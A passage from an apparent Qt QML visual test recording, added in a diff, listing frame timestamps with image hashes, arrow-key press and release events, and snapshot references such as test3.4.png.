"20632ba6a4c14386eb01167059f7b617" + } + Frame { + msec: 3120 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3136 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3152 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3168 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3184 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3200 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3216 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3232 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3248 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3264 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3280 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3296 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3312 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3328 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3344 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3360 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3376 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3392 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3408 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3424 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3440 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3456 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3472 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 3488 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3504 + hash: "f60a72dd52f6f319706dc97f873a484f" + } + Frame { + msec: 3520 + hash: "a21fbcbb3c0ede708f2862959b84654f" + } + Frame { + msec: 3536 + hash: "40e5f7530391e7641498c7870ce986c9" + } + Frame { + msec: 3552 + hash: "809daf15ad3e9f981f1306da18dd6872" + } + Frame { + msec: 3568 + hash: "4b053d234c8c9a5afb7800abe28ea96f" + } + Frame { + msec: 3584 + hash: "e011e3aaf143befc8e207945fdfc9f47" + } + Frame { + msec: 3600 + hash: "55539d51f833b8a98fc14031a4a70c4c" + } + Frame { + msec: 3616 + hash: "07c2b526c022d0deae61acba26d7ea24" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3632 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3648 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3664 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3680 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3696 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3712 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3728 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3744 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3760 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3776 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3792 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3808 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3824 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3840 + image: "test3.3.png" + } + Frame { + msec: 3856 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3872 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3888 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3904 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3920 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3936 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3952 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3968 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 3984 + hash: "cc0ab553f98262662e52191e0b370486" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 4000 + hash: "7d2f24d5a68397bedc2f9e3652715126" + } + Frame { + msec: 4016 + hash: "55ff9205bb36d8f8965fb122a8686203" + } + Frame { + msec: 4032 + hash: "8968377cbbdf7a46b6f13690826ac711" + } + Frame { + msec: 4048 + hash: "8ce9afffac571f1a2cc6986d79dd2c8f" + } + Frame { + msec: 4064 + hash: "f75c375cdf8e1b83398e9b18e7c39852" + } + Frame { + msec: 4080 + hash: "20c8db7fb344c056465175ed0fa9518a" + } + Frame { + msec: 4096 + hash: "8135c2cae0dcf8ee6eccbfdd7b711bc0" + } + Frame { + msec: 4112 + hash: "659fc24d328058eb118be5613ea25257" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 4128 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4144 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4160 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4176 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4192 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4208 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4224 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4240 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4256 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4272 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4288 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4304 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4320 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4336 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4352 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4368 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4384 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4400 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4416 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4432 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4448 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4464 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4480 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4496 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4512 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4528 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4544 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4560 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4576 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4592 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4608 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4624 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4640 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4656 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4672 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4688 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4704 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4720 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4736 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4752 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4768 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4784 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4800 + image: "test3.4.png" + } + Frame { + msec: 4816 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4832 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4848 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4864 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4880 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4896 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4912 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4928 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4944 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4960 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4976 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 4992 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 5008 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 5024 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 5040 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 5056 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 5072 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 5088 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Frame { + msec: 5104 + hash: "ef9a34bf49c632be0f88f6658196dfe6" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 5120 + hash: "f01088d95d8409f98ae19b7970ecf3ad" + } + Frame { + msec: 5136 + hash: "393987a9e22db77233465e3d08cfb244" + } + Frame { + msec: 5152 + hash: "40e58eac132aa3b5f66f244ab7b189be" + } + Frame { + msec: 5168 + hash: "d60c98c5fafe6bfa73a3d0c55f8f6716" + } + Frame { + msec: 5184 + hash: "775733a71bb1d39f51b9fbc7e28d9ffe" + } + Frame { + msec: 5200 + hash: "a343457f584c6e63aaec36b5db4fb7d0" + } + Frame { + msec: 5216 + hash: "7c416bd1be54135056b037642026251f" + } + Frame { + msec: 5232 + hash: "42813b6c3ef437a7b3ea8f03bb8b1894" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 5248 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5264 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5280 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5296 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5312 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5328 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5344 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5360 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5376 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5392 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5408 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5424 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5440 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5456 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5472 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5488 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5504 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5520 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5536 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5552 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5568 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5584 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5600 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5616 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5632 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5648 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5664 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5680 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5696 + hash: "cc0ab553f98262662e52191e0b370486" + } + Frame { + msec: 5712 + hash: "cc0ab553f98262662e52191e0b370486" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 5728 + hash: "b3af171ca40a5f081e2bfc984b8da551" + } + Frame { + msec: 5744 + hash: "aadbc8c960fbe2e8aac184a99ba818bd" + } + Frame { + msec: 5760 + image: "test3.5.png" + } + Frame { + msec: 5776 + hash: "99fc06589f09cd10cfdf748f032eacbd" + } + Frame { + msec: 5792 + hash: "f7915b1a8b9f7188263180a97c8b355f" + } + Frame { + msec: 5808 + hash: "7fb30728fb764b659bad5bb6c4e71e2c" + } + Frame { + msec: 5824 + hash: "4882459350feffaed89c2296c74b839d" + } + Frame { + msec: 5840 + hash: "917a368858e431bebcd8f2fda67401f8" + } + Frame { + msec: 5856 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 5872 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 5888 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 5904 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 5920 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 5936 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 5952 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 5968 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 5984 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 6000 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 6016 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 6032 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 6048 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 6064 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 6080 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 6096 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 6112 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 6128 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 6144 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 6160 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 6176 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 6192 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 6208 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 6224 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 6240 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 6256 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Frame { + msec: 6272 + hash: "bfd0497c6505d42aefe6341adb850d89" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 6288 + hash: "ada3c3558261701c705ecf79716df56a" + } + Frame { + msec: 6304 + hash: "81c73fd3dd69eb767d8899a54c3088bb" + } + Frame { + msec: 6320 + hash: "d54e7dd1e876666f64b5904240bf8764" + } + Frame { + msec: 6336 + hash: "32bdeac66a43a967d549ca2ad8c59bbd" + } + Frame { + msec: 6352 + hash: "04eec62cc40c8b31d989bead64909f9e" + } + Frame { + msec: 6368 + hash: "cfffdd4edc35303ee260ed32956238b7" + } + Frame { + msec: 6384 + hash: "fb562c38b9d2360517160f8a8ab29ced" + } + Frame { + msec: 6400 + hash: "ba8ec8f0663bf1e62ff426b0c7d0d3b2" + } + Frame { + msec: 6416 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 6432 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6448 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6464 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6480 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6496 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6512 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6528 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6544 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6560 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6576 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6592 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6608 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6624 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6640 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6656 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6672 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6688 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6704 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6720 + image: "test3.6.png" + } + Frame { + msec: 6736 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6752 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6768 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6784 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6800 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6816 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6832 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 6848 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 6864 + hash: "e6292a001405924f6d5f1a4051c3f6cb" + } + Frame { + msec: 6880 + hash: "0d8a6b740cc7b33659aa0a1cc2bd2aa9" + } + Frame { + msec: 6896 + hash: "07c4267ff499c46977420d4be7529e04" + } + Frame { + msec: 6912 + hash: "f69cd14d97de3ca8d21ace1df1d5a523" + } + Frame { + msec: 6928 + hash: "1572b31fd3ae917d5701d0b8f1d2a2bc" + } + Frame { + msec: 6944 + hash: "e3953027fe269a5d4c6581717d516c65" + } + Frame { + msec: 6960 + hash: "e35e8a5dfa7309696fa20c6f5480ac50" + } + Frame { + msec: 6976 + hash: "77e75e66118f911c8fff084e1a825d77" + } + Frame { + msec: 6992 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 7008 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7024 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7040 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7056 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7072 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7088 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7104 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7120 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7136 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7152 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7168 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7184 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7200 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7216 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7232 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7248 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7264 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7280 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7296 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7312 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7328 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7344 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7360 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7376 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7392 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7408 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7424 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 7440 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 7456 + hash: "8588c30394737cebc5580fe024589b08" + } + Frame { + msec: 7472 + hash: "ca150a32b22cad95696ecfbad0ed3e67" + } + Frame { + msec: 7488 + hash: "7f980e0cf67927918b1244456c38c7c0" + } + Frame { + msec: 7504 + hash: "2bc38fb34a6875aabddce0f460914612" + } + Frame { + msec: 7520 + hash: "328257a4691f341db39ee5ca677693eb" + } + Frame { + msec: 7536 + hash: "05e0d8c986ff81e23f253d56ebdef46e" + } + Frame { + msec: 7552 + hash: "be95d74a42318c52ab73ce694436a58b" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 7568 + hash: "eba8512746494f3602d24dab86fb2559" + } + Frame { + msec: 7584 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7600 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7616 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7632 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7648 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7664 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7680 + image: "test3.7.png" + } + Frame { + msec: 7696 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7712 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7728 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7744 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7760 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7776 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7792 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7808 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7824 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7840 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7856 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7872 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7888 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7904 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7920 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7936 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7952 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 7968 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 7984 + hash: "7b2b3a84e9649370ce282383a820c39b" + } + Frame { + msec: 8000 + hash: "08547adce7e02eec593fa636af004257" + } + Frame { + msec: 8016 + hash: "29789cfbd1b648ce705cf17d03298ffe" + } + Frame { + msec: 8032 + hash: "9e89ef84c86b1fc0531f0bd5ee530ba5" + } + Frame { + msec: 8048 + hash: "21b437a318c5ef87c38f9199772eafa6" + } + Frame { + msec: 8064 + hash: "70c8c8fbcf2d0331ca7ede8641a6068b" + } + Frame { + msec: 8080 + hash: "c277e9d4f89e99d974d03dcfe41a1755" + } + Frame { + msec: 8096 + hash: "54c7a72a3f814e707777c16ddd4532b8" + } + Frame { + msec: 8112 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 8128 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8144 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8160 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8176 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8192 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8208 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8224 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8240 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8256 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8272 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8288 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8304 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8320 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8336 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8352 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8368 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8384 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8400 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8416 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8432 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8448 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8464 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8480 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 8496 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 8512 + hash: "7992512c72fe530fdd92866c96de29a0" + } + Frame { + msec: 8528 + hash: "ad29d3653790efb998ac137538b4ce09" + } + Frame { + msec: 8544 + hash: "f6daf0ad7f7c970ece3dc1898ab9f092" + } + Frame { + msec: 8560 + hash: "417143caa8ed86082ea4e40aca7ca26e" + } + Frame { + msec: 8576 + hash: "5215943d1fbffd5ef7c16d4ca6587628" + } + Frame { + msec: 8592 + hash: 